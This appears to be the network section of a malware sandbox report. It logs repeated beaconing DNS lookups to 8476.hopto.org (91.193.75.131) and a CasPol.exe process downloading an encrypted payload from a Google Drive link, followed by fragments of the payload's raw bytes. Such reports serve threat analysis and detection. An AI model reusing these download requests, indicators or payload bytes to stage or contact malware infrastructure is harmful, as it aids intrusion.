May 17, 2022 16:56:03.066593885 CEST	56835	53	192.168.11.20	8.8.8.8
May 17, 2022 16:56:03.075602055 CEST	53	56835	8.8.8.8	192.168.11.20
May 17, 2022 16:56:27.954068899 CEST	56004	53	192.168.11.20	8.8.8.8
May 17, 2022 16:56:27.969638109 CEST	53	56004	8.8.8.8	192.168.11.20
May 17, 2022 16:56:34.169270039 CEST	54067	53	192.168.11.20	8.8.8.8
May 17, 2022 16:56:34.179934978 CEST	53	54067	8.8.8.8	192.168.11.20
May 17, 2022 16:56:40.375978947 CEST	51115	53	192.168.11.20	8.8.8.8
May 17, 2022 16:56:40.388808012 CEST	53	51115	8.8.8.8	192.168.11.20
May 17, 2022 16:57:05.191165924 CEST	53641	53	192.168.11.20	8.8.8.8
May 17, 2022 16:57:05.201400995 CEST	53	53641	8.8.8.8	192.168.11.20
May 17, 2022 16:57:11.391573906 CEST	54995	53	192.168.11.20	8.8.8.8
May 17, 2022 16:57:11.404478073 CEST	53	54995	8.8.8.8	192.168.11.20
May 17, 2022 16:57:17.624360085 CEST	60489	53	192.168.11.20	8.8.8.8
May 17, 2022 16:57:17.635689020 CEST	53	60489	8.8.8.8	192.168.11.20
May 17, 2022 16:57:42.493755102 CEST	50947	53	192.168.11.20	8.8.8.8
May 17, 2022 16:57:42.502353907 CEST	53	50947	8.8.8.8	192.168.11.20
May 17, 2022 16:57:48.712739944 CEST	52682	53	192.168.11.20	8.8.8.8
May 17, 2022 16:57:48.724761009 CEST	53	52682	8.8.8.8	192.168.11.20
May 17, 2022 16:57:54.961143970 CEST	57507	53	192.168.11.20	8.8.8.8
May 17, 2022 16:57:54.969716072 CEST	53	57507	8.8.8.8	192.168.11.20
May 17, 2022 16:58:19.876087904 CEST	65006	53	192.168.11.20	8.8.8.8
May 17, 2022 16:58:19.886549950 CEST	53	65006	8.8.8.8	192.168.11.20
May 17, 2022 16:58:26.063860893 CEST	60524	53	192.168.11.20	8.8.8.8
May 17, 2022 16:58:26.075479031 CEST	53	60524	8.8.8.8	192.168.11.20
May 17, 2022 16:58:32.296958923 CEST	54242	53	192.168.11.20	8.8.8.8
May 17, 2022 16:58:32.307836056 CEST	53	54242	8.8.8.8	192.168.11.20
May 17, 2022 16:58:57.164994955 CEST	53044	53	192.168.11.20	8.8.8.8
May 17, 2022 16:58:57.177076101 CEST	53	53044	8.8.8.8	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 17, 2022 16:51:07.168174028 CEST	192.168.11.20	1.1.1.1	0x5d20	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
May 17, 2022 16:51:08.151992083 CEST	192.168.11.20	1.1.1.1	0xa9b1	Standard query (0)	doc-08-38-docs.googleusercontent.com	A (IP address)	IN (0x0001)
May 17, 2022 16:51:10.621761084 CEST	192.168.11.20	8.8.8.8	0x81d9	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:51:27.955521107 CEST	192.168.11.20	8.8.8.8	0xc9a9	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:51:45.443244934 CEST	192.168.11.20	8.8.8.8	0x5912	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:52:43.042437077 CEST	192.168.11.20	8.8.8.8	0x83d5	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:52:49.392524958 CEST	192.168.11.20	8.8.8.8	0x5606	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:52:55.725764036 CEST	192.168.11.20	8.8.8.8	0xdf1b	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:53:20.766439915 CEST	192.168.11.20	8.8.8.8	0x9c96	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:53:27.073446035 CEST	192.168.11.20	8.8.8.8	0x56d7	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:53:33.349845886 CEST	192.168.11.20	8.8.8.8	0x9dbb	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:53:58.378402948 CEST	192.168.11.20	8.8.8.8	0x611	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:54:04.674421072 CEST	192.168.11.20	8.8.8.8	0x2589	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:54:10.949335098 CEST	192.168.11.20	8.8.8.8	0xe44f	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:54:35.913575888 CEST	192.168.11.20	8.8.8.8	0x484a	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:54:42.132663965 CEST	192.168.11.20	8.8.8.8	0x29e0	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:54:48.357333899 CEST	192.168.11.20	8.8.8.8	0x2090	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:55:13.249352932 CEST	192.168.11.20	8.8.8.8	0xa927	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:55:19.466981888 CEST	192.168.11.20	8.8.8.8	0x2068	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:55:25.684072971 CEST	192.168.11.20	8.8.8.8	0x84dd	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:55:50.615978956 CEST	192.168.11.20	8.8.8.8	0x6ff2	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:55:56.839081049 CEST	192.168.11.20	8.8.8.8	0xef66	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:56:03.066593885 CEST	192.168.11.20	8.8.8.8	0xb56a	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:56:27.954068899 CEST	192.168.11.20	8.8.8.8	0x1e92	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:56:34.169270039 CEST	192.168.11.20	8.8.8.8	0x812d	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:56:40.375978947 CEST	192.168.11.20	8.8.8.8	0xa9ea	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:57:05.191165924 CEST	192.168.11.20	8.8.8.8	0xabc5	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:57:11.391573906 CEST	192.168.11.20	8.8.8.8	0x8ae3	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:57:17.624360085 CEST	192.168.11.20	8.8.8.8	0x4850	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:57:42.493755102 CEST	192.168.11.20	8.8.8.8	0x62ec	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:57:48.712739944 CEST	192.168.11.20	8.8.8.8	0xf7a3	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:57:54.961143970 CEST	192.168.11.20	8.8.8.8	0x9b4f	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:58:19.876087904 CEST	192.168.11.20	8.8.8.8	0x5de1	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:58:26.063860893 CEST	192.168.11.20	8.8.8.8	0xe8b8	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:58:32.296958923 CEST	192.168.11.20	8.8.8.8	0xc92e	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)
May 17, 2022 16:58:57.164994955 CEST	192.168.11.20	8.8.8.8	0xd62a	Standard query (0)	8476.hopto.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 17, 2022 16:51:07.176810980 CEST	1.1.1.1	192.168.11.20	0x5d20	No error (0)	drive.google.com		142.250.185.78	A (IP address)	IN (0x0001)
May 17, 2022 16:51:08.188951969 CEST	1.1.1.1	192.168.11.20	0xa9b1	No error (0)	doc-08-38-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
May 17, 2022 16:51:08.188951969 CEST	1.1.1.1	192.168.11.20	0xa9b1	No error (0)	googlehosted.l.googleusercontent.com		216.58.212.129	A (IP address)	IN (0x0001)
May 17, 2022 16:51:10.632525921 CEST	8.8.8.8	192.168.11.20	0x81d9	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:51:27.967823982 CEST	8.8.8.8	192.168.11.20	0xc9a9	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:51:45.454966068 CEST	8.8.8.8	192.168.11.20	0x5912	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:52:43.052445889 CEST	8.8.8.8	192.168.11.20	0x83d5	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:52:49.402622938 CEST	8.8.8.8	192.168.11.20	0x5606	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:52:55.737930059 CEST	8.8.8.8	192.168.11.20	0xdf1b	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:53:20.774529934 CEST	8.8.8.8	192.168.11.20	0x9c96	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:53:27.083282948 CEST	8.8.8.8	192.168.11.20	0x56d7	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:53:33.358505964 CEST	8.8.8.8	192.168.11.20	0x9dbb	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:53:58.389122009 CEST	8.8.8.8	192.168.11.20	0x611	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:54:04.686652899 CEST	8.8.8.8	192.168.11.20	0x2589	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:54:10.959651947 CEST	8.8.8.8	192.168.11.20	0xe44f	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:54:35.924036026 CEST	8.8.8.8	192.168.11.20	0x484a	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:54:42.140944958 CEST	8.8.8.8	192.168.11.20	0x29e0	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:54:48.369702101 CEST	8.8.8.8	192.168.11.20	0x2090	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:55:13.259754896 CEST	8.8.8.8	192.168.11.20	0xa927	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:55:19.477248907 CEST	8.8.8.8	192.168.11.20	0x2068	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:55:25.696228027 CEST	8.8.8.8	192.168.11.20	0x84dd	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:55:50.628469944 CEST	8.8.8.8	192.168.11.20	0x6ff2	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:55:56.851109982 CEST	8.8.8.8	192.168.11.20	0xef66	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:56:03.075602055 CEST	8.8.8.8	192.168.11.20	0xb56a	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:56:27.969638109 CEST	8.8.8.8	192.168.11.20	0x1e92	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:56:34.179934978 CEST	8.8.8.8	192.168.11.20	0x812d	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:56:40.388808012 CEST	8.8.8.8	192.168.11.20	0xa9ea	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:57:05.201400995 CEST	8.8.8.8	192.168.11.20	0xabc5	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:57:11.404478073 CEST	8.8.8.8	192.168.11.20	0x8ae3	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:57:17.635689020 CEST	8.8.8.8	192.168.11.20	0x4850	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:57:42.502353907 CEST	8.8.8.8	192.168.11.20	0x62ec	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:57:48.724761009 CEST	8.8.8.8	192.168.11.20	0xf7a3	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:57:54.969716072 CEST	8.8.8.8	192.168.11.20	0x9b4f	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:58:19.886549950 CEST	8.8.8.8	192.168.11.20	0x5de1	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:58:26.075479031 CEST	8.8.8.8	192.168.11.20	0xe8b8	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:58:32.307836056 CEST	8.8.8.8	192.168.11.20	0xc92e	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)
May 17, 2022 16:58:57.177076101 CEST	8.8.8.8	192.168.11.20	0xd62a	No error (0)	8476.hopto.org		91.193.75.131	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-08-38-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49761	142.250.185.78	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-05-17 14:51:07 UTC	0	OUT	GET /uc?export=download&id=15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-05-17 14:51:08 UTC	0	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 17 May 2022 14:51:07 GMT Location: https://doc-08-38-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ot0nf77q6jqiqi74hke0fspqmeou4ksp/1652799000000/00504591766740753318//15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X?e=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-xBy21BMSt1CFjy6lZDLa0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version= Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49762	216.58.212.129	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-05-17 14:51:08 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/ot0nf77q6jqiqi74hke0fspqmeou4ksp/1652799000000/00504591766740753318/*/15pFGBWcJey0L1ljJmoCXsS1qG0k_QM5X?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-08-38-docs.googleusercontent.com Connection: Keep-Alive
2022-05-17 14:51:08 UTC	1	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdsjeMdBmE2_eJoBWxgpWiv_M0N7S6GKezuU8iD5_gnk3r9_KgGFrZvhpmJ3tSRSMXNK1XhUGGHrcGWWlcwR8H7fCf-dg_sd Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="8476_xjDIQv6.bin";filename*=UTF-8''8476_xjDIQv6.bin Content-Length: 207936 Date: Tue, 17 May 2022 14:51:08 GMT Expires: Tue, 17 May 2022 14:51:08 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=uXFvCQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-05-17 14:51:08 UTC	5	IN	Data Raw: bc 6d 90 9f 1e 3b f9 d2 57 14 c8 c6 3c 8b 74 91 86 ec d0 4a bf 27 40 98 b8 ed cf 6e 0c 04 df d8 87 bd 1e 07 c8 fc 73 6d f0 cb 2a f5 99 e1 ff e2 5a aa c8 66 3f d5 2c dd 89 6a 1f 93 97 17 5e b8 5e 03 76 5e 98 a5 b0 75 59 80 f0 f4 44 5a 38 7c dc e2 ce ee f4 ca 90 aa a4 14 1b fd 7f 08 17 3e d9 e5 08 64 b5 0b ac 30 64 0b 47 4b d1 4b 41 c9 6b 1a e7 fb be 38 9d f2 2d 1f f6 c9 eb 95 38 9d 19 71 6e 94 86 fd ba 8a ea af e6 95 ea 24 0f 2e 7f 79 6d ba d5 82 ed ea 95 28 69 13 a6 1b 45 59 e8 63 dd f5 d1 c9 e1 92 55 91 5a ed cc 98 97 40 bb f0 bf c7 ea c8 86 70 82 5f f9 61 c7 6b 2a ac 3c 77 50 e9 be c0 c8 bf c5 ca 69 b2 95 10 c7 f5 19 2c 75 1e 49 e5 71 35 17 a1 b4 a8 83 f9 b3 c7 85 d9 75 8d c6 40 48 99 3f e5 8d 86 41 59 33 28 4e f0 20 82 1a f9 61 fe ac ba aa ed 40 66 10 Data Ascii: m;W<tJ'@nsmZf?,j^^v^uYDZ8\|>d0dGKKAk8-8qn$.ym(iEYcUZ@p_ak<wPi,uIq5u@H?AY3(N a@f
2022-05-17 14:51:08 UTC	9	IN	Data Raw: d4 3e 0a d2 bd 43 c5 bf 3b 6b c8 63 b9 7d cb 2f 49 be 11 fd 04 09 d8 f6 9a 6d 1d 83 61 dc 6a 04 fc 62 b4 87 94 43 ec e2 3a 63 05 c1 fb 33 07 08 f1 89 6d 0b ad fa f7 69 99 81 f5 64 54 10 0e 36 e5 33 5f a6 19 19 93 7a 9a 43 97 11 97 7b 61 25 74 3b f6 51 25 be 34 61 86 55 33 16 24 74 f8 73 c8 92 89 54 00 50 ec 24 26 2d 25 24 d8 2e ce 4e 1b e3 4f ab 8b c4 52 84 de 38 28 57 65 aa 33 89 16 24 6f cc 4a ea ba e9 74 67 b2 14 96 cd fd 7b 2a 2c 5a 78 d6 da f5 29 0e a7 0d 6b a0 4b 18 1a a4 75 d2 ae 20 35 54 81 6f 40 8d 2f 10 ac ed fd ab 6f 72 d8 d0 5b 2e 4e cd a9 a4 97 6d e4 86 4d 61 01 de 79 62 c8 df 6b 5f a2 ea c7 2f 82 0c 8b 31 b1 2c d9 5b c8 a5 81 c7 6e 6d ee 3d 88 33 05 95 9a 24 37 70 48 63 5e c8 35 a8 a5 0f 80 0c e5 57 9e 76 8a 49 aa 07 e8 53 a3 76 ae d5 fa 28 Data Ascii: >C;kc}/ImajbC:c3midT63_zC{a%t;Q%4aU3$tsTP$&-%$.NOR8(We3$oJtg{*,Zx)kKu 5To@/or[.NmMaybk_/1,[nm=3$7pHc^5WvISv(
2022-05-17 14:51:08 UTC	13	IN	Data Raw: 8f 57 6a 3b 03 60 fb 09 69 16 d2 d3 ef a5 8b a2 77 68 36 10 c0 c0 00 b2 ca a7 45 e5 9b 7c a0 86 73 04 d7 c4 b1 08 ce b6 63 dd a4 ad d7 a2 f3 a0 bd 63 08 c7 5e 71 5b a0 08 b0 9b 2f 9b ab 87 74 57 1f 80 d5 d5 2a 3c 61 a1 0a 63 8c 44 83 64 cd fa bd a5 81 45 bc 97 40 20 b9 57 ea 87 a1 9c 09 4c 45 1a 62 ce 28 33 a4 f9 9e 35 21 90 dd 36 51 1c 27 4b 02 ae c3 08 0e 2d 94 35 80 0f 93 09 63 84 49 44 e2 9d 2b ed 4a 88 47 74 ad 17 38 da 70 30 8d ca bc 7b 1f 80 15 1c 77 f3 61 59 ae 8f 44 94 53 21 e5 41 58 54 3c 1f 7d 0a 52 b5 bf 58 4f 91 4a fd 91 48 b5 2e cd a9 62 59 1c d1 b6 4e ca c0 b3 63 1c 42 bd 25 c9 68 90 a2 90 82 ef 0a 57 2f 3e 99 f0 00 f1 0f bb c3 29 4c 36 44 f5 d0 68 8b 47 50 89 a9 13 6d 56 de f1 64 79 f0 4a 02 54 93 95 c6 da 24 e4 5e d2 5b 3a bc 05 8a f5 95 Data Ascii: Wj;`iwh6E\|scc^q[/tW*<acDdE@ WLEb(35!6Q'K-5cID+JGt8p0{waYDS!AXT<}RXOJH.bYNcB%hW/>)L6DhGPmVdyJT$^[:
2022-05-17 14:51:08 UTC	16	IN	Data Raw: 96 09 ab d5 cd 88 9e 76 80 61 29 05 fe 4b a6 4b 89 ae e5 11 96 da b9 89 56 f8 5f 19 05 b6 34 6c 4e 1a 2e 29 9c 62 a7 15 36 4c be 2d 9c 72 b9 27 59 8c a2 86 37 f1 6b ef 3e d4 fb f9 c0 32 76 06 9e 1f 77 9c 06 60 62 57 83 08 59 4b 1b 28 6b ee d7 02 fa 05 8b 93 c6 98 f1 d6 ef 34 5f 6d 06 13 1c 50 bd 29 77 9c 10 74 6b 3f 83 c7 7e ea 93 16 c8 b4 93 95 56 1c e6 bd 13 59 ec 76 19 a5 b0 73 44 a8 17 f4 bb af 15 7d 4e f3 ca ce e4 ed 90 aa cc 9a 1b fd 79 24 12 16 51 e5 08 62 9f 0b af 00 60 0b 00 4b d1 4b 41 c9 6b 1a cf b4 bf 38 9b df 2c 35 de 16 6b 95 32 e3 26 6e d4 9e 9f 61 54 47 cb 1d cb d8 0d 2d 84 46 16 00 33 fa a7 ed 8e 81 dc a2 49 70 cd 59 2a 1c 88 bd b9 2e f1 bb 92 8f 9f f8 34 c7 a0 3c c4 60 dc 86 f6 a0 e2 ef ad 51 5a 5f fa 51 ce 6b 08 ac 6c 32 50 e9 f2 c1 e3 Data Ascii: va)KKV_4lN.)b6L-r'Y7k>2vw`bWYK(k4_mP)wtk?~VYvsD}Ny$Qb`KKAk8,5k2&naTG-F3IpY*.4<`QZ_Qkl2P
2022-05-17 14:51:08 UTC	17	IN	Data Raw: 97 b7 b4 8b 43 cd d3 6c a4 f9 54 97 d6 c5 c6 68 82 b7 62 b4 d2 fc fc ab e8 83 18 2f 0c e2 55 5f 39 54 86 07 a3 e3 c5 e6 a1 5c 10 13 fe ff c7 28 10 f0 11 0a 69 aa 58 a2 49 e8 c3 53 80 1b af b5 95 3c da c7 7d e0 af eb 8f 0c 62 e5 18 4a 3a 47 53 ae d5 93 11 24 f6 30 33 79 a4 21 42 67 c1 98 08 04 48 13 3e a8 ba 95 23 69 a9 87 81 dc 8a 21 9f 5c 9e 47 34 b6 78 4a a4 0b 3a 51 c7 fe ce 35 a8 1e 0e 7c d2 75 66 a6 b1 da 95 44 35 db 5d 00 06 bd 1f 79 1f 4b c7 1b 58 55 b3 a6 ef 9a 66 1a 03 c7 85 48 ae ec d0 8f 43 3e fd 4f 68 37 ad f2 c3 ed b8 84 56 b1 a2 ca 24 1c a3 72 93 e3 06 c8 54 9b d7 03 ef 5c 6c 0a da 48 c7 4b 34 97 81 ea 45 37 d8 d9 da a7 f0 66 3d 41 93 bd cc 04 02 c1 08 9e 19 fa b6 10 a7 ed b3 3e 36 52 a0 89 0f 9f 80 2d 7b 24 b0 42 ce 81 02 3c 13 95 73 63 84 Data Ascii: ClThb/U_9T\(iXIS<}bJ:GS$03y!BgH>#i!\G4xJ:Q5\|ufD5]yKXUfHC>Oh7V$rT\lHK4E7f=A>6R-{$B<sc
